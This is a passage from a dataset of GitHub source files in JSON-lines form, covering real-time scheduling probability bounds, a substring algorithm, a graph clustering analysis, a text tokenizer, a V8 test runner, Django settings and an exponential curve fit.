kernel.\")\n result = kernel.get_return(np.dtype(np.uint32)) # Obtain the result.\n\n writer = pa.RecordBatchFileWriter(args.output_path)\n\n writer.write(output_batch)\n\n writer.close()\n\n print(\"Result: \" + str(result)) # Print the result.","repo_name":"abs-tudelft/FletcherFiltering","sub_path":"hostside/python/run-snap.py","file_name":"run-snap.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"21116793515","text":"from __future__ import division\nimport random\nimport numpy as np\nimport sys, getopt\nfrom scipy.optimize import *\nfrom sympy import *\n\n# Assume the input tasks only have two modes: c1 and c2.\n\ndef Chernoff_bounds(task, higherPriorityTasks, t, s):\n #t is the tested time t, s is a real number, n is the total number of involved tasks\n '''\n return the upper bounded probability, input the targeted time point t and a real number s\n 1. first calculate the total number of jobs among all tasks\n 2. calculate mgf function for each task with their corresponding number jobs in nlist\n '''\n prob = 1.0\n prob = prob/exp(s*t)\n #now sumN is the total number of jobs among all the tasks.\n c1, c2, x, p = symbols(\"c1, c2, x, p\")\n expr = exp(c1*x)*(1-p)+exp(c2*x)*p\n mgf = lambdify((c1, c2, x, p), sympify(expr), 'mpmath')\n #with time ceil(), what's the # of released jobs\n for i in higherPriorityTasks:\n prob = prob * np.float128(mgf(i['execution'], i['abnormal_exe'], s, i['prob']))**int(np.ceil(t/i['period']))\n #itself\n prob = prob * np.float128(mgf(task['execution'], task['abnormal_exe'], s, task['prob']))**int(np.ceil(t/task['period']))\n\n return prob\n\ndef Hoeffding_inequality(task, higherPriorityTasks, t):\n #t is the tested time t, and n is the total number of involved tasks\n '''\n return the upper bounded probability, input the targeted time point t.\n The detailed implementation can be referred to Theorem 6.\n 1. first define two lambdas for the expected value of S_t and (b-a)**2\n 2. accumulate them in hep(tau_k)\n '''\n prob = 1.0\n expedSt = 0.0\n sumvar = 0.0\n c1, c2, p = symbols(\"c1, c2, p\")\n sumr = lambdify((c1, c2, p), c1*(1-p)+c2*p)\n # here c1 is ai and c2 is bi\n vari = lambdify((c1, c2), (c2-c1)**2)\n\n for i in higherPriorityTasks:\n expedSt = expedSt + sumr(i['execution'], i['abnormal_exe'], i['prob'])*int(np.ceil(t/i['period']))\n sumvar = sumvar + vari(i['execution'], i['abnormal_exe'])*int(np.ceil(t/i['period']))\n expedSt = expedSt + sumr(task['execution'], task['abnormal_exe'], task['prob'])*int(np.ceil(t/task['period']))\n sumvar = sumvar + vari(task['execution'], task['abnormal_exe'])*int(np.ceil(t/task['period']))\n\n if t-expedSt > 0:\n prob = exp(-2*(t-expedSt)**2/sumvar)\n else:\n prob = 1\n return prob\n\n\ndef Bernstein_inequality(task, higherPriorityTasks, t):\n #t is the tested time t, and n is the total number of involved tasks\n '''\n return the upper bounded probability, input the targeted time point t.\n The detailed implementation can be referred to Theorem 8.\n 1. define lambda functions for E[C] and E[C**2]\n 2. get the corresponding values for K and VarC and E[St]\n '''\n c1, c2, p = symbols(\"c1, c2, p\")\n sumr = lambdify((c1, c2, p), c1*(1-p)+c2*p)\n powerC = lambdify((c1, c2, p), c1*c1*(1-p)+c2*c2*p)\n\n prob = 1.0\n expedSt = 0.0\n varC = 0.0\n K = 0.0\n tmpC = 0.0\n for i in higherPriorityTasks:\n expedC = sumr(i['execution'], i['abnormal_exe'], i['prob'])\n varC = varC + (powerC(i['execution'], i['abnormal_exe'], i['prob'])-(expedC)**2)*int(np.ceil(t/i['period']))\n expedSt = expedSt + expedC*int(np.ceil(t/i['period']))\n tmpK = max(i['execution']-expedC, i['abnormal_exe']-expedC)\n if tmpK > K:\n K = tmpK\n expedC = sumr(task['execution'], task['abnormal_exe'], task['prob'])\n varC = varC + (powerC(task['execution'], task['abnormal_exe'], task['prob'])-(expedC)**2)*int(np.ceil(t/task['period']))\n expedSt = expedSt + expedC*int(np.ceil(t/task['period']))\n tmpK = max(task['execution']-expedC, task['abnormal_exe']-expedC)\n if tmpK > K:\n K = tmpK\n if t-expedSt > 0:\n prob = exp(-((t-expedSt)**2/2)/(varC+K*(t-expedSt)/3))\n else:\n prob = 1\n return prob\n","repo_name":"khchenTW/EPST","sub_path":"bounds.py","file_name":"bounds.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15558788149","text":"\"\"\"\nGiven a string s, find the length of the longest substring without repeating characters.\n\n\n\nExample 1:\n\nInput: s = \"abcabcbb\"\nOutput: 3\nExplanation: The answer is \"abc\", with the length of 3.\nExample 2:\n\nInput: s = \"bbbbb\"\nOutput: 1\nExplanation: The answer is \"b\", with the length of 1.\nExample 3:\n\nInput: s = \"pwwkew\"\nOutput: 3\nExplanation: The answer is \"wke\", with the length of 3.\nNotice that the answer must be a substring, \"pwke\" is a subsequence and not a substring.\nExample 4:\n\nInput: s = \"\"\nOutput: 0\n\n\nConstraints:\n\n0 <= s.length <= 5 * 104\ns consists of English letters, digits, symbols and spaces.\n\"\"\"\n\n\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n substring = \"\"\n maxlength = 0\n current_length = 0\n for i in s:\n if i not in substring:\n substring = substring + i\n current_length = current_length + 1\n else:\n # repetitive char is found\n if current_length > maxlength:\n maxlength = current_length\n\n # remove the string till the repetitive\n substring = substring[substring.find(i) + 1:] + i\n # substring = i\n current_length = len(substring)\n\n return maxlength if maxlength > current_length else current_length\n\n\n# Testing\nsol = Solution()\nprint(sol.lengthOfLongestSubstring(\"abcabcbb\"))\nprint(sol.lengthOfLongestSubstring(\"dvdf\"))\nprint(sol.lengthOfLongestSubstring(\" \"))\nprint(sol.lengthOfLongestSubstring(\"\"))\n","repo_name":"angelstrikesback/python-practice","sub_path":"longest_substring.py","file_name":"longest_substring.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24912523485","text":"from collections import Counter, defaultdict\nimport networkx as nx\nfrom overlapping_kmp_pipeline import network_to_dict\nfrom cluster_id_matching import clustering_to_dict\nimport os \nimport numpy as np\n\n\ndef main():\n '''\n original_clusters = defaultdict()\n k_clusters = defaultdict()\n mcd_clusters = defaultdict()\n\n for k in [10, 20, 30, 40, 50]:\n clusters = clustering_to_dict('/shared/aj_manuscript_data/experiment_0/IKC_' + str(k) + '_realignment.clustering')\n original_clusters[k] = set.union(*clusters.values())\n\n \n for file in os.listdir('/shared/aj_manuscript_data/experiment_1'):\n if file.endswith('.clustering'):\n k_clusters[file.split('.')[0]] = clustering_to_dict('/shared/aj_manuscript_data/experiment_1/'+ str(file))\n \n print('Finished EXP 1')\n \n for file in os.listdir('/shared/aj_manuscript_data/experiment_2'):\n if file.endswith('.clustering'):\n k_clusters[file.split('.')[0]] = clustering_to_dict('/shared/aj_manuscript_data/experiment_2/' + str(file))\n \n print('Finished EXP 2')\n\n for file in os.listdir('/shared/aj_manuscript_data/experiment_3'):\n if file.endswith('.clustering'):\n mcd_clusters[file.split('.')[0]] = clustering_to_dict('/shared/aj_manuscript_data/experiment_3/' + str(file))\n\n print('Finished EXP 3')\n '''\n network_file = '/srv/local/shared/external/dbid/george/exosome_dimensions_wedell_retraction-depleted_jc250-corrected_no_header.tsv'\n node_info = network_to_dict(network_file)\n \n print('Finished Parsing Network')\n\n degree_map = Counter(node_info['indegree'])\n degrees = list(map(int, degree_map.values()))\n degree_cutoff = np.percentile(degrees, 99)\n print(degrees[:100])\n return\n candidates = set([k for k,v in degree_map.items() if v >= degree_cutoff])\n \n for name, clusters in k_clusters.items():\n total_clusters = set()\n for c_id in clusters.keys():\n if len(clusters[c_id]) > 0:\n total_clusters.update(clusters[c_id])\n \n high_degree_singletons = candidates - total_clusters\n high_degree_singletons_sorted = sorted(high_degree_singletons, key=lambda item: node_info['indegree'][item], reverse=True)\n #low_degree_inclusions = candidates.union(total_clusters) - original_clusters[int(name[4:6])]\n #low_degree_inclusions_sorted = sorted(low_degree_inclusions, key=lambda item: node_info['indegree'][item], reverse=False)\n\n #print(len(low_degree_inclusions))\n\n writer = open('./k_singleton_data/k_' + str(name) + '_singleton_data.tsv', 'w')\n writer.write('node_id\\tindegree\\n')\n for node in high_degree_singletons_sorted:\n writer.write(str(node) + '\\t' + str(node_info['indegree'][node]) + '\\n')\n writer.close()\n \n for name, clusters in mcd_clusters.items():\n total_clusters = set()\n for c_id in clusters.keys():\n if len(clusters[c_id]) > 0:\n total_clusters.update(clusters[c_id])\n \n high_degree_singletons = candidates - total_clusters\n high_degree_singletons_sorted = sorted(high_degree_singletons, key=lambda item: node_info['indegree'][item], reverse=True)\n #low_degree_inclusions = candidates.union(total_clusters) - original_clusters[int(name[4:6])]\n #low_degree_inclusions_sorted = sorted(low_degree_inclusions, key=lambda item: node_info['indegree'][item], reverse=False)\n \n #print(len(low_degree_inclusions))\n\n writer = open('./mcd_singleton_data/mcd_' + str(name) + '_singleton_data.tsv', 'w')\n writer.write('node_id\\tindegree\\n')\n for node in high_degree_singletons_sorted:\n writer.write(str(node) + '\\t' + str(node_info['indegree'][node]) + '\\n')\n writer.close()\n\n doi_map = defaultdict(str)\n r = open('seed_map.csv', 'r')\n line = r.readline()\n while line != \"\":\n doi_info = line.split(',')\n doi_map[doi_info[0]] = str(doi_info[1])\n line = r.readline()\n\n\n node_ids = []\n degree_map = defaultdict(int)\n for path in ['./k_singleton_data', './mcd_singleton_data']:\n for file in os.listdir(path):\n reader = open(path + '/' + file, 'r')\n line = reader.readline()\n line = reader.readline()\n while line != \"\":\n info = line.split('\\t')\n degree_map[info[0]] = info[1]\n node_ids.append(int(info[0]))\n line = reader.readline()\n \n c = Counter(node_ids)\n\n writer = open('singleton_counts.tsv', 'w')\n writer.write('rank\\tnode_id\\tcount\\tdegree\\tdoi\\n')\n rank = 1\n for item in c.most_common():\n writer.write(str(rank) + '\\t' + str(item[0]) + '\\t' + str(item[1]) + '\\t' + str(degree_map[str(item[0])]) + '\\t' + doi_map[str(item[0])] + '\\n')\n rank += 1\n writer.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"illinois-or-research-analytics/spring_2022_research","sub_path":"akhil/overlapping_clusters_paper/high_degree_singleton_analysis.py","file_name":"high_degree_singleton_analysis.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69888827892","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport time\nimport os\nimport threading\n\n\nclass LogsCollector(threading.Thread):\n\n def __init__(self):\n super(LogsCollector, self).__init__()\n self._stop_event = threading.Event()\n\n self.__command = ' '.join([\n 'journalctl',\n '-o', 'cat',\n '--no-pager',\n '>', os.path.realpath('{}/../../reports/perf-tests/logs/journal.log'.format(os.path.dirname(os.path.abspath(__file__))))\n ])\n\n def stop(self) -> None:\n self._stop_event.set()\n self.__collect_logs()\n self.join()\n\n def __collect_logs(self) -> None:\n os.system(self.__command)\n\n def run(self) -> None:\n while not self._stop_event.is_set():\n self.__collect_logs()\n time.sleep(1)\n","repo_name":"jancajthaml-openbank/lake","sub_path":"perf/logs/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25005156410","text":"from transformers import AutoTokenizer\nimport regex as re\nimport emoji\nimport keras\nimport pickle\n\nclass Token:\n def __init__(self, path1,max_len,path2=None):\n \"\"\"\n :param path1: sub-word tokenizer path\n :param path2: keras tokenizer path\n :param max_len: max length of sequence\n \"\"\"\n self.tokenizer = AutoTokenizer.from_pretrained(path1)\n if path2 != None:\n with open(path2, \"rb\") as f:\n self.k_tokenizer = pickle.load(f)\n else:\n self.k_tokenizer = None\n self.max_len = max_len\n emojis = ''.join(emoji.UNICODE_EMOJI.keys())\n self.pattern = re.compile(f'[^ .,?!/@$%~%·∼()\\x00-\\x7Fㄱ-힣{emojis}]+')\n self.url_pattern = re.compile(\n r'https?:\\/\\/(www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\.[a-zA-Z0-9()]{1,6}\\b([-a-zA-Z0-9()@:%_\\+.~#?&//=]*)')\n\n self.doublespace_pattern = re.compile('\\s+')\n self.repeatchars_pattern1 = re.compile('(\\w)\\\\1{2,}')\n self.repeatchars_pattern2 = re.compile('(\\W)\\\\1{2,}')\n\n\n def repeat_normalize(self, sent, num_repeats=2):\n if num_repeats > 0:\n sent = self.repeatchars_pattern1.sub('\\\\1' * num_repeats, sent)\n sent = self.repeatchars_pattern2.sub('\\\\1' * num_repeats, sent)\n sent = self.doublespace_pattern.sub(' ', sent)\n return sent.strip()\n\n # clean text\n def clean(self, text):\n text = str(text)\n text = self.pattern.sub(' ', text)\n text = self.url_pattern.sub('', text)\n text = text.strip()\n text = self.repeat_normalize(text, num_repeats=2)\n return text\n\n # ids to convert token\n def ids_to_token(self, token_lst):\n result = []\n for i in token_lst[1:]:\n if i == 0:\n break\n result.append(self.tokenizer.convert_ids_to_tokens(i))\n return result\n # make token from AutoTokenizer\n def make_token_ori(self, text):\n token_lst = self.tokenizer.encode(\n self.clean(text),\n padding='max_length',\n max_length=self.max_len,\n truncation=True)\n token_lst = self.ids_to_token(token_lst)[:-1]\n return token_lst\n\n def make_token(self, text):\n token_lst = self.tokenizer.encode(\n self.clean(text),\n padding='max_length',\n max_length=self.max_len,\n truncation=True)\n token_lst = self.ids_to_token(token_lst)[:-1]\n if self.k_tokenizer != None:\n seq = self.k_tokenizer.texts_to_sequences([token_lst])\n token_lst = keras.preprocessing.sequence.pad_sequences(seq, maxlen=self.max_len)\n return token_lst","repo_name":"ifuseok/AMCNN","sub_path":"Token.py","file_name":"Token.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"73486956852","text":"#!/bin/python3\n\n#Problem 1\ndef gerat(num1, num2, num3):\n if num1>num2 and num1>num3:\n print(str(num1)+\" is greatest\")\n elif num2>num1 and num2>num3:\n print(str(num2)+\" is greatest\")\n else:\n print(str(num3)+\" is greatest\")\n\ngerat(6, 69, 36)\n\n#Problem 2\ndef convert(celsius):\n return ((int(celsius) * (9/5))+32)\n\n#c = 45\n#fahrenhiet = convert(c)\n#print(str(fahrenhiet))\nf = convert(45)\nprint(f)\n\n#Problem 3\n\ndef sum(n):\n if n==0 or n==1:\n return 1\n return n + sum(n-1)\n\nprint(sum(5))\n\n#Problem 4\n\nn = 3\nfor i in range(n):\n print(\"*\" * (n-i))\n\nn=3\nfor i in range(n):\n print(\"*\" * (i+1))\nn=3\nfor i in range (n):\n print(\" \" * (n-i-1), end='')\n print(\"*\" * (2*i+1), end='')\n print(\" \" * (n-i-1))\n \n#Problem 6\ndef inch(n):\n return n * 2.54\nko = round(inch(6),2)\nprint(ko)\n\n#Problem 9\ndef multable(n):\n for i in range(1, 11):\n print(f\"{n}x{i}={n*i}\")\nmultable(6)\n\n","repo_name":"Bashnett/PythonCODE","sub_path":"8_practiise.py","file_name":"8_practiise.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3501350125","text":"import optparse\nimport os\nimport sys\n\nfrom common import chromium_utils\n\ndef main():\n if sys.platform in ('win32', 'cygwin'):\n default_platform = 'win'\n outdir = 'build'\n elif sys.platform.startswith('darwin'):\n default_platform = 'mac'\n outdir = 'xcodebuild'\n elif sys.platform == 'linux2':\n default_platform = 'linux'\n outdir = 'out'\n else:\n default_platform = None\n\n option_parser = optparse.OptionParser()\n\n option_parser.add_option('', '--testname',\n default=None,\n help='The test to run'\n '[default: %default]')\n option_parser.add_option('', '--target',\n default='Debug',\n help='build target (Debug, Release) '\n '[default: %default]')\n option_parser.add_option('', '--arch',\n default='ia32',\n help='Architecture (ia32, x64, arm) '\n '[default: ia32]')\n option_parser.add_option('', '--platform',\n default=default_platform,\n help='specify platform [default: %%default]')\n option_parser.add_option('', '--shard_count',\n default=1,\n help='Specify shard count [default: %%default]')\n option_parser.add_option('', '--shard_run',\n default=1,\n help='Specify shard count [default: %%default]')\n option_parser.add_option('--shell_flags',\n default=None,\n help=\"Specify shell flags passed tools/run-test.py\")\n option_parser.add_option('--command_prefix',\n default=None,\n help=\"Command prefix passed tools/run-test.py\")\n option_parser.add_option('--isolates',\n default=None,\n help=\"Run isolates tests\")\n option_parser.add_option('--buildbot',\n default='True',\n help=\"Resolve paths to executables for buildbots\")\n option_parser.add_option('--no-presubmit',\n default=False, action=\"store_true\",\n help='Skip presubmit checks')\n\n options, args = option_parser.parse_args()\n if args:\n option_parser.error('Unsupported arguments: %s' % args)\n\n os.environ['LD_LIBRARY_PATH'] = os.environ.get('PWD')\n\n if options.testname == 'presubmit':\n cmd = ['python', 'tools/presubmit.py']\n else:\n cmd = ['python', 'tools/run-tests.py',\n '--progress=verbose',\n '--outdir=' + outdir,\n '--arch=' + options.arch,\n '--mode=' + options.target]\n if options.buildbot == 'True':\n cmd.extend(['--buildbot'])\n if options.no_presubmit:\n cmd.extend(['--no-presubmit'])\n if options.testname:\n cmd.extend([options.testname])\n if options.testname == 'test262':\n cmd.extend(['--download-data'])\n if options.testname == 'mozilla':\n # Mozilla tests requires a number of tests to timeout, set it a bit lower.\n if options.arch in ('arm', 'mipsel'):\n cmd.extend(['--timeout=180'])\n else:\n cmd.extend(['--timeout=120'])\n elif options.shell_flags and '--gc-interval' in options.shell_flags:\n # GC Stress testing takes much longer, set generous timeout.\n if options.arch in ('arm', 'mipsel'):\n cmd.extend(['--timeout=1200'])\n else:\n cmd.extend(['--timeout=900'])\n else:\n if options.arch in ('arm', 'mipsel'):\n cmd.extend(['--timeout=600'])\n else:\n cmd.extend(['--timeout=200'])\n if options.isolates:\n cmd.extend(['--isolates'])\n if options.shell_flags:\n cmd.extend([\"--extra-flags\", options.shell_flags.replace(\"\\\"\", \"\")])\n if options.command_prefix:\n cmd.extend([\"--command-prefix\", options.command_prefix])\n\n\n if options.shard_count > 1:\n cmd.extend(['--shard-count=%s' % options.shard_count,\n '--shard-run=%s' % options.shard_run])\n\n return chromium_utils.RunCommand(cmd)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"sunny-bay/chromium30","sub_path":"build/scripts/slave/v8/v8testing.py","file_name":"v8testing.py","file_ext":"py","file_size_in_byte":4195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9793975582","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFor testing neuromaps.stats functionality\n\"\"\"\n\nimport numpy as np\nimport pytest\n\nfrom neuromaps import stats\n\n\n@pytest.mark.xfail\ndef test_compare_images():\n assert False\n\n\ndef test_permtest_metric():\n rs = np.random.default_rng(12345678)\n x, y = rs.random(size=(2, 100))\n r, p = stats.permtest_metric(x, y)\n assert np.allclose([r, p], [0.0345815411043023, 0.7192807192807192])\n\n r, p = stats.permtest_metric(np.c_[x, x[::-1]], np.c_[y, y])\n assert np.allclose(r, [0.0345815411043023, 0.03338608427980476])\n assert np.allclose(p, [0.7192807192807192, 0.7472527472527473])\n\n\n@pytest.mark.parametrize('x, y, expected', [\n # basic one-dimensional input\n (range(5), range(5), (1.0, 0.0)),\n # broadcasting occurs regardless of input order\n (np.stack([range(5), range(5, 0, -1)], 1), range(5),\n ([1.0, -1.0], [0.0, 0.0])),\n (range(5), np.stack([range(5), range(5, 0, -1)], 1),\n ([1.0, -1.0], [0.0, 0.0])),\n # correlation between matching columns\n (np.stack([range(5), range(5, 0, -1)], 1),\n np.stack([range(5), range(5, 0, -1)], 1),\n ([1.0, 1.0], [0.0, 0.0]))\n])\ndef test_efficient_pearsonr(x, y, expected):\n assert np.allclose(stats.efficient_pearsonr(x, y), expected)\n\n\ndef test_efficient_pearsonr_errors():\n with pytest.raises(ValueError):\n stats.efficient_pearsonr(range(4), range(5))\n\n assert all(np.isnan(a) for a in stats.efficient_pearsonr([], []))\n","repo_name":"netneurolab/neuromaps","sub_path":"neuromaps/tests/test_stats.py","file_name":"test_stats.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"21"} +{"seq_id":"73980999414","text":"# -*- coding: utf-8 -*-\n# Django settings for basic pinax project.\n\nimport os.path\nimport posixpath\nimport pinax\n\nPINAX_ROOT = os.path.abspath(os.path.dirname(pinax.__file__))\nPROJECT_ROOT = os.path.abspath(os.path.dirname(__file__))\n\n# tells Pinax to use the default theme\nPINAX_THEME = 'default'\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\n# tells Pinax to serve media through django.views.static.serve.\nSERVE_MEDIA = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@domain.com'),\n)\n\nMANAGERS = ADMINS\n\nDATABASE_ENGINE = 'sqlite3' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'ado_mssql'.\nDATABASE_NAME = 'dev.db' # Or path to database file if using sqlite3.\nDATABASE_USER = '' # Not used with sqlite3.\nDATABASE_PASSWORD = '' # Not used with sqlite3.\nDATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.\nDATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.\n\n# Local time zone for this installation. Choices can be found here:\n# http://www.postgresql.org/docs/8.1/static/datetime-keywords.html#DATETIME-TIMEZONE-SET-TABLE\n# although not all variations may be possible on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'US/Eastern'\n\n# Language code for this installation. All choices can be found here:\n# http://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes\n# http://blogs.law.harvard.edu/tech/stories/storyReader$15\nLANGUAGE_CODE = 'en'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = os.path.join(PROJECT_ROOT, 'site_media', 'media')\n\n# URL that handles the media served from MEDIA_ROOT.\n# Example: \"http://media.lawrence.com\"\nMEDIA_URL = '/site_media/media/'\n\n# Absolute path to the directory that holds static files like app media.\n# Example: \"/home/media/media.lawrence.com/apps/\"\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, 'site_media', 'static')\n\n# URL that handles the static files like app media.\n# Example: \"http://media.lawrence.com\"\nSTATIC_URL = '/site_media/static/'\n\n# Additional directories which hold static files\nSTATICFILES_DIRS = (\n ('wt-app', os.path.join(PROJECT_ROOT, 'media')),\n ('pinax', os.path.join(PINAX_ROOT, 'media', PINAX_THEME)),\n)\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\nADMIN_MEDIA_PREFIX = posixpath.join(STATIC_URL, \"admin/\")\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = ''\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django_openid.consumer.SessionConsumer',\n 'account.middleware.LocaleMiddleware',\n 'django.middleware.doc.XViewMiddleware',\n 'pagination.middleware.PaginationMiddleware',\n 'pinax.middleware.security.HideSensistiveFieldsMiddleware',\n)\n\nROOT_URLCONF = 'wt-app.urls'\n\nTEMPLATE_DIRS = (\n os.path.join(PROJECT_ROOT, \"templates\"),\n os.path.join(PINAX_ROOT, \"templates\", PINAX_THEME),\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.core.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.request\",\n \n \"pinax.core.context_processors.pinax_settings\",\n \n \"notification.context_processors.notification\",\n \"announcements.context_processors.site_wide_announcements\",\n \"account.context_processors.openid\",\n \"account.context_processors.account\",\n)\n\nINSTALLED_APPS = (\n # included\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.humanize',\n 'pinax.templatetags',\n \n # external\n 'notification', # must be first\n 'tagging',\n 'django_openid',\n 'emailconfirmation',\n 'mailer',\n 'announcements',\n 'pagination',\n 'timezones',\n 'ajax_validation',\n 'avatar',\n 'uni_form',\n 'staticfiles',\n 'django_extensions',\n \n # internal (for now)\n #'basic_profiles',\n 'profiles',\n 'account',\n 'signup_codes',\n 'about',\n 'django.contrib.admin',\n\n # wiki trans apps\n # order matters!\n\t'wt_languages',\n 'wt_articles',\n 'mturk_manager',\n 'wt_managing',\n)\n\nABSOLUTE_URL_OVERRIDES = {\n \"auth.user\": lambda o: \"/profiles/profile/%s/\" % o.username,\n}\n\nMARKUP_FILTER_FALLBACK = 'none'\nMARKUP_CHOICES = (\n ('restructuredtext', u'reStructuredText'),\n ('textile', u'Textile'),\n ('markdown', u'Markdown'),\n ('creole', u'Creole'),\n)\nWIKI_MARKUP_CHOICES = MARKUP_CHOICES\n\n#AUTH_PROFILE_MODULE = 'basic_profiles.Profile'\nAUTH_PROFILE_MODULE = 'profiles.Profile'\nNOTIFICATION_LANGUAGE_MODULE = 'account.Account'\n\nACCOUNT_OPEN_SIGNUP = True\nACCOUNT_REQUIRED_EMAIL = False\nACCOUNT_EMAIL_VERIFICATION = False\n\nEMAIL_CONFIRMATION_DAYS = 2\nEMAIL_DEBUG = DEBUG\nCONTACT_EMAIL = \"jd@j2labs.net\"\nSITE_NAME = \"WikiTrans\"\nLOGIN_URL = \"/account/login/\"\nLOGIN_REDIRECT_URLNAME = \"what_next\"\n\n# local_settings.py can be used to override environment-specific settings\n# like database and email that differ between development and production.\ntry:\n from local_settings import *\nexcept ImportError:\n pass\n","repo_name":"j2labs/wikitrans","sub_path":"wt-app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5809,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"73445690291","text":"import math\n\nimport attr\nimport numpy as np\nimport scipy.optimize\nimport xarray as xr\n\n\nDAY = np.timedelta64(24 * 3600, \"s\")\n\n\ndef exp2(t, t_0, T_d):\n return 2 ** ((t - t_0) / T_d)\n\n\ndef linear(t, t_0, T_d):\n return (t - t_0) / T_d\n\n\n# good starting point for fitting most of the curves\nP0 = (np.datetime64(\"2020-02-12\", \"s\"), np.timedelta64(48 * 60 * 60, \"s\"))\n\n\n@attr.attrs()\nclass ExponentialFit:\n r\"\"\"$f(t) = 2 ^ \\frac{t - t_0}{T_d}$\"\"\"\n t_0 = attr.attrib()\n T_d = attr.attrib()\n r2 = attr.attrib()\n start = attr.attrib()\n stop = attr.attrib()\n\n @classmethod\n def from_frame(cls, data, start=None, stop=None, p0=P0, min_value=9):\n t_0_guess, T_d_guess = p0\n\n data_fit = data[start:stop]\n\n x_norm = linear(data_fit.index.values, t_0_guess, T_d_guess)\n log2_y = np.log2(data_fit.values)\n\n t_fit = data_fit.index.values[\n np.isfinite(log2_y) & (data_fit.values >= min_value)\n ]\n x_fit = x_norm[np.isfinite(log2_y) & (data_fit.values >= min_value)]\n log2_y_fit = log2_y[np.isfinite(log2_y) & (data_fit.values >= min_value)]\n\n # (t_0_norm, T_d_norm), covariance = scipy.optimize.curve_fit(linear, x_fit, log2_y_fit)\n try:\n m, y, r2, _, _ = scipy.stats.linregress(x_fit, log2_y_fit)\n except ValueError:\n m, y, r2 = np.nan, np.nan, 0.0\n t_0_norm = -y / m\n T_d_norm = 1 / m\n\n T_d = T_d_norm * T_d_guess\n t_0 = t_0_guess + t_0_norm * T_d_guess\n\n return cls(t_0, T_d, r2=r2, start=t_fit[0], stop=t_fit[-1])\n\n @classmethod\n def from_xarray(\n cls, data, start=None, stop=None, p0=P0, min_value=9, x=\"time\", valid_ratio=0\n ):\n assert isinstance(data, xr.DataArray)\n t_0_guess, T_d_guess = p0\n\n data_fit = data.sel(**{x: slice(start, stop)})\n\n x_norm = linear(data_fit.coords[x].values, t_0_guess, T_d_guess)\n log2_y = np.log2(data_fit.values)\n\n t_fit = data_fit.coords[x].values[\n np.isfinite(log2_y) & (data_fit.values >= min_value)\n ]\n fit_length = t_fit[-1] - t_fit[0] if t_fit.size > 0 else np.timedelta64(0)\n x_fit = x_norm[np.isfinite(log2_y) & (data_fit.values >= min_value)]\n log2_y_fit = log2_y[np.isfinite(log2_y) & (data_fit.values >= min_value)]\n\n # (t_0_norm, T_d_norm), covariance = scipy.optimize.curve_fit(linear, x_fit, log2_y_fit)\n try:\n m, y, r2, _, _ = scipy.stats.linregress(x_fit, log2_y_fit)\n except ValueError:\n m, y, r2 = np.nan, np.nan, 0.0\n t_fit = [start, stop]\n t_0_norm = -y / m\n T_d_norm = 1 / m\n\n T_d = T_d_norm * T_d_guess\n t_0 = t_0_guess + t_0_norm * T_d_guess\n\n if abs(T_d / DAY) * valid_ratio > abs(fit_length / DAY):\n t_0, T_d, r2 = (\n np.datetime64(\"Not a Time\"),\n np.timedelta64(\"Not a Time\"),\n 0.0,\n )\n\n return cls(t_0, T_d, r2=r2, start=t_fit[0], stop=t_fit[-1])\n\n @property\n def T_d_days(self):\n return self.T_d / np.timedelta64(1, \"D\")\n\n def predict(self, t):\n if isinstance(t, str):\n t = np.datetime64(t)\n return 2 ** linear(t, 